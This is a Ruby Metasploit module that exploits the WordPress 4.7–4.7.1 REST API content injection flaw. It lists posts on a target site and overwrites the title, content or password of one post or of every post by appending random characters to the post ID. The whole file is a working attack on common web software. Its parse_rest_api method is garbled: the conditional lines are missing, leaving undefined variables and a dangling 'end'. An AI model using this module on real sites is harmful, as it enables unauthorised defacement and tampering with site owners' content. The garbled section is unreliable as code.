| 
	 
    
class MetasploitModule < Msf::Auxiliary  
   
  include Msf::Exploit::Remote::HTTP::Wordpress  
  include Msf::Auxiliary::Scanner  
   
  def initialize(info = {})  
    super(update_info(info,  
      'Name'           => 'WordPress REST API Content Injection',  
      'Description'    => %q{  
        This module exploits a content injection vulnerability in WordPress  
        versions 4.7 and 4.7.1 via type juggling in the REST API.  
      },  
      'Author'         => [  
        'Marc Montpas',  
        'wvu'            
      ],  
      'References'     => [  
        ['WPVDB', '8734'],  
      ],  
      'DisclosureDate' => 'Feb 1 2017',  
      'License'        => MSF_LICENSE,  
      'Actions'        => [  
        ['LIST',   'Description' => 'List posts'],  
        ['UPDATE', 'Description' => 'Update post']  
      ],  
      'DefaultAction'  => 'LIST' 
    ))  
   
    register_options([  
      OptInt.new('POST_ID',          [false, 'Post ID (0 for all)', 0]),  
      OptString.new('POST_TITLE',    [false, 'Post title']),  
      OptString.new('POST_CONTENT',  [false, 'Post content']),  
      OptString.new('POST_PASSWORD', [false, 'Post password (\'\' for none)'])  
    ])  
   
    register_advanced_options([  
      OptInt.new('PostCount',     [false, 'Number of posts to list', 100]),  
      OptString.new('SearchTerm', [false, 'Search term when listing posts'])  
    ])  
  end 
   
  def check_host(_ip)  
    if (version = wordpress_version)  
      version = Gem::Version.new(version)  
    else 
      return Exploit::CheckCode::Safe  
    end 
   
    vprint_status("WordPress #{version}: #{full_uri}")  
   
    if version.between?(Gem::Version.new('4.7'), Gem::Version.new('4.7.1'))  
      Exploit::CheckCode::Appears  
    else 
      Exploit::CheckCode::Detected  
    end 
  end 
   
  def run_host(_ip)  
    if !wordpress_and_online?  
      print_error("WordPress not detected at #{full_uri}")  
      return 
    end 
   
    case action.name  
    when 'LIST' 
      do_list  
    when 'UPDATE' 
      do_update  
    end 
  end 
   
  def do_list  
    posts_to_list = list_posts  
   
    if posts_to_list.empty?  
      print_status("No posts found at #{full_uri}")  
      return 
    end 
   
    tbl = Rex::Text::Table.new(  
      'Header'  => "Posts at #{full_uri} (REST API: #{get_rest_api})",  
      'Columns' => %w{ID Title URL Password}  
    )  
   
    posts_to_list.each do |post|  
      tbl << [  
        post[:id],  
        Rex::Text.html_decode(post[:title]),  
        post[:url],  
        post[:password] ? 'Yes' : 'No' 
      ]  
    end 
   
    print_line(tbl.to_s)  
  end 
   
  def do_update  
    posts_to_update = []  
   
    if datastore['POST_ID'] == 0 
      posts_to_update = list_posts  
    else 
      posts_to_update << {id: datastore['POST_ID']}  
    end 
   
    if posts_to_update.empty?  
      print_status("No posts to update at #{full_uri}")  
      return 
    end 
   
    posts_to_update.each do |post|  
      res = update_post(post[:id],  
        title:    datastore['POST_TITLE'],  
        content:  datastore['POST_CONTENT'],  
        password: datastore['POST_PASSWORD']  
      )  
   
      post_url = full_uri(wordpress_url_post(post[:id]))  
   
      if res && res.code == 200 
        print_good("SUCCESS: #{post_url} (Post updated)")  
      elsif res && (error = res.get_json_document['message'])  
        print_error("FAILURE: #{post_url} (#{error})")  
      end 
    end 
  end 
   
  def list_posts  
    posts = []  
   
    res = send_request_cgi({  
      'method'     => 'GET',  
      'uri'        => normalize_uri(get_rest_api, 'posts'),  
      'vars_get'   => {  
        'per_page' => datastore['PostCount'],  
        'search'   => datastore['SearchTerm']  
      }  
    }, 3.5)  
   
    if res && res.code == 200 
      res.get_json_document.each do |post|  
        posts << {  
          id:       post['id'],  
          title:    post['title']['rendered'],  
          url:      post['link'],  
          password: post['content']['protected']  
        }  
      end 
    elsif res && (error = res.get_json_document['message'])  
      vprint_error("Failed to list posts: #{error}")  
    end 
   
    posts  
  end 
   
  def update_post(id, opts = {})  
    payload = {}  
   
    payload[:id]       = "#{id}#{Rex::Text.rand_text_alpha(8)}" 
    payload[:title]    = opts[:title] if opts[:title]  
    payload[:content]  = opts[:content] if opts[:content]  
    payload[:password] = opts[:password] if opts[:password]  
   
    send_request_cgi({  
      'method' => 'POST',  
      'uri'    => normalize_uri(get_rest_api, 'posts', id),  
      'ctype'  => 'application/json',  
      'data'   => payload.to_json  
    }, 3.5)  
  end 
   
  def get_rest_api  
    return @rest_api if @rest_api 
   
    res = send_request_cgi!({  
      'method' => 'GET',  
      'uri'    => normalize_uri(target_uri.path)  
    }, 3.5)  
   
    if res && res.code == 200 
      @rest_api = parse_rest_api(res)  
    end 
   
    @rest_api ||= wordpress_url_rest_api  
  end 
   
  def parse_rest_api(res)  
    rest_api = nil 
   
    link = res.headers['Link']  
    html = res.get_html_document  
   
      rest_api = route_rest_api($1)  
      vprint_status('REST API found in Link header')  
      rest_api = route_rest_api(xpath)  
      vprint_status('REST API found in HTML document')  
    end 
   
    rest_api  
  end 
   
  def route_rest_api(rest_api)  
    normalize_uri(path_from_uri(rest_api), 'wp/v2')  
  end 
   
end 
   
 
	
  |